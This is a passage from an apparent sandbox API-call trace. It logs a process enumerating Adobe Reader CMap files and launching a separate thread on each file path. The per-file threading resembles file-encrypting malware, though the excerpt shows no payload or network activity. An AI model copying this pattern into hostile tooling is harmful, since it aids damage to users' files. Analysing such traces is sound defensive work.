_Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0182.951] wcscat (in: _Dest=0x1ced32b0, _Source="KSCms-UHC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H" [0182.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced32b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae4 [0183.006] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-HW-H", cAlternateFileName="KSCMS-~2")) returned 1 [0183.006] wcscmp (_String1="KSCms-UHC-HW-H", _String2=".") returned 1 [0183.006] wcscmp (_String1="KSCms-UHC-HW-H", _String2="..") returned 1 [0183.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c31210 [0183.006] wcscpy (in: _Dest=0x42c31210, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.006] wcscat (in: _Dest=0x42c31210, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.006] wcscat (in: _Dest=0x42c31210, _Source="KSCms-UHC-HW-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H" [0183.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c31210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ccc [0183.036] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-HW-V", cAlternateFileName="KSCMS-~3")) returned 1 [0183.036] wcscmp (_String1="KSCms-UHC-HW-V", _String2=".") returned 1 [0183.036] wcscmp (_String1="KSCms-UHC-HW-V", _String2="..") returned 1 [0183.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c31170 [0183.036] wcscpy (in: _Dest=0x42c31170, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.036] wcscat (in: _Dest=0x42c31170, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.037] wcscat (in: _Dest=0x42c31170, _Source="KSCms-UHC-HW-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V" [0183.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c31170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc0 [0183.057] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e597, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-UCS2", cAlternateFileName="KSCMS-~4")) returned 1 [0183.057] wcscmp (_String1="KSCms-UHC-UCS2", _String2=".") returned 1 [0183.057] wcscmp (_String1="KSCms-UHC-UCS2", _String2="..") returned 1 [0183.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c313f0 [0183.058] wcscpy (in: _Dest=0x42c313f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.058] wcscat (in: _Dest=0x42c313f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.058] wcscat (in: _Dest=0x42c313f0, _Source="KSCms-UHC-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2" [0183.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c313f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc4 [0183.105] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-V", cAlternateFileName="KS3FF3~1")) returned 1 [0183.105] wcscmp (_String1="KSCms-UHC-V", _String2=".") returned 1 [0183.106] wcscmp (_String1="KSCms-UHC-V", _String2="..") returned 1 [0183.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced3220 [0183.106] wcscpy (in: _Dest=0x1ced3220, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.107] wcscat (in: _Dest=0x1ced3220, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.107] wcscat (in: _Dest=0x1ced3220, _Source="KSCms-UHC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V" [0183.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced3220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc8 [0183.124] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x33b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-H", cAlternateFileName="KSCPC-~1")) returned 1 [0183.124] wcscmp (_String1="KSCpc-EUC-H", _String2=".") returned 1 [0183.124] wcscmp (_String1="KSCpc-EUC-H", _String2="..") returned 1 [0183.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c22480 [0183.125] wcscpy (in: _Dest=0x42c22480, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.125] wcscat (in: _Dest=0x42c22480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.125] wcscat (in: _Dest=0x42c22480, _Source="KSCpc-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H" [0183.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c22480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cd0 [0183.159] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-UCS2", cAlternateFileName="KSCPC-~2")) returned 1 [0183.159] wcscmp (_String1="KSCpc-EUC-UCS2", _String2=".") returned 1 [0183.159] wcscmp (_String1="KSCpc-EUC-UCS2", _String2="..") returned 1 [0183.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0183.160] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.160] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.160] wcscat (in: _Dest=0x42c30ef0, _Source="KSCpc-EUC-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2" [0183.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c30ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a30 [0183.185] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26499, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-UCS2C", cAlternateFileName="KSCPC-~3")) returned 1 [0183.185] wcscmp (_String1="KSCpc-EUC-UCS2C", _String2=".") returned 1 [0183.185] wcscmp (_String1="KSCpc-EUC-UCS2C", _String2="..") returned 1 [0183.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c31350 [0183.185] wcscpy (in: _Dest=0x42c31350, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.185] wcscat (in: _Dest=0x42c31350, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.185] wcscat (in: _Dest=0x42c31350, _Source="KSCpc-EUC-UCS2C" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C" [0183.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c31350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cd4 [0183.221] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25f07, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-90ms-RKSJ", cAlternateFileName="UCS2-9~1")) returned 1 [0183.221] wcscmp (_String1="UCS2-90ms-RKSJ", _String2=".") returned 1 [0183.221] wcscmp (_String1="UCS2-90ms-RKSJ", _String2="..") returned 1 [0183.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c312b0 [0183.222] wcscpy (in: _Dest=0x42c312b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.222] wcscat (in: _Dest=0x42c312b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.222] wcscat (in: _Dest=0x42c312b0, _Source="UCS2-90ms-RKSJ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ" [0183.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c312b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2860 [0183.273] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24373, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-90pv-RKSJ", cAlternateFileName="UCS2-9~2")) returned 1 [0183.273] wcscmp (_String1="UCS2-90pv-RKSJ", _String2=".") returned 1 [0183.273] wcscmp (_String1="UCS2-90pv-RKSJ", _String2="..") returned 1 [0183.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507d70 [0183.274] wcscpy (in: _Dest=0x20507d70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.274] wcscat (in: _Dest=0x20507d70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.274] wcscat (in: _Dest=0x20507d70, _Source="UCS2-90pv-RKSJ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ" [0183.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25d4 [0183.302] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45903, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-B5pc", cAlternateFileName="UCS2-B~1")) returned 1 [0183.302] wcscmp (_String1="UCS2-B5pc", _String2=".") returned 1 [0183.302] wcscmp (_String1="UCS2-B5pc", _String2="..") returned 1 [0183.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x42c22bd0 [0183.303] wcscpy (in: _Dest=0x42c22bd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.303] wcscat (in: _Dest=0x42c22bd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.303] wcscat (in: _Dest=0x42c22bd0, _Source="UCS2-B5pc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc" [0183.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c22bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ca4 [0183.544] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49113, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-ETen-B5", cAlternateFileName="UCS2-E~1")) returned 1 [0183.544] wcscmp (_String1="UCS2-ETen-B5", _String2=".") returned 1 [0183.544] wcscmp (_String1="UCS2-ETen-B5", _String2="..") returned 1 [0183.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c22090 [0183.544] wcscpy (in: _Dest=0x42c22090, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.544] wcscat (in: _Dest=0x42c22090, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.544] wcscat (in: _Dest=0x42c22090, _Source="UCS2-ETen-B5" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5" [0183.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c22090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0183.615] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3b87b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-GBK-EUC", cAlternateFileName="UCS2-G~1")) returned 1 [0183.615] wcscmp (_String1="UCS2-GBK-EUC", _String2=".") returned 1 [0183.615] wcscmp (_String1="UCS2-GBK-EUC", _String2="..") returned 1 [0183.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c22c60 [0183.616] wcscpy (in: _Dest=0x42c22c60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.616] wcscat (in: _Dest=0x42c22c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.616] wcscat (in: _Dest=0x42c22c60, _Source="UCS2-GBK-EUC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC" [0183.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c22c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f50 [0183.647] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3022b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-GBpc-EUC", cAlternateFileName="UCS2-G~2")) returned 1 [0183.647] wcscmp (_String1="UCS2-GBpc-EUC", _String2=".") returned 1 [0183.648] wcscmp (_String1="UCS2-GBpc-EUC", _String2="..") returned 1 [0183.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20507910 [0183.648] wcscpy (in: _Dest=0x20507910, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.648] wcscat (in: _Dest=0x20507910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.648] wcscat (in: _Dest=0x20507910, _Source="UCS2-GBpc-EUC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC" [0183.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cb8 [0183.651] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ff61, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-KSCms-UHC", cAlternateFileName="UCS2-K~2")) returned 1 [0183.651] wcscmp (_String1="UCS2-KSCms-UHC", _String2=".") returned 1 [0183.651] wcscmp (_String1="UCS2-KSCms-UHC", _String2="..") returned 1 [0183.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20509490 [0183.652] wcscpy (in: _Dest=0x20509490, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.652] wcscat (in: _Dest=0x20509490, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.652] wcscat (in: _Dest=0x20509490, _Source="UCS2-KSCms-UHC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC" [0183.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25fc [0183.655] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25737, dwReserved0=0x0, 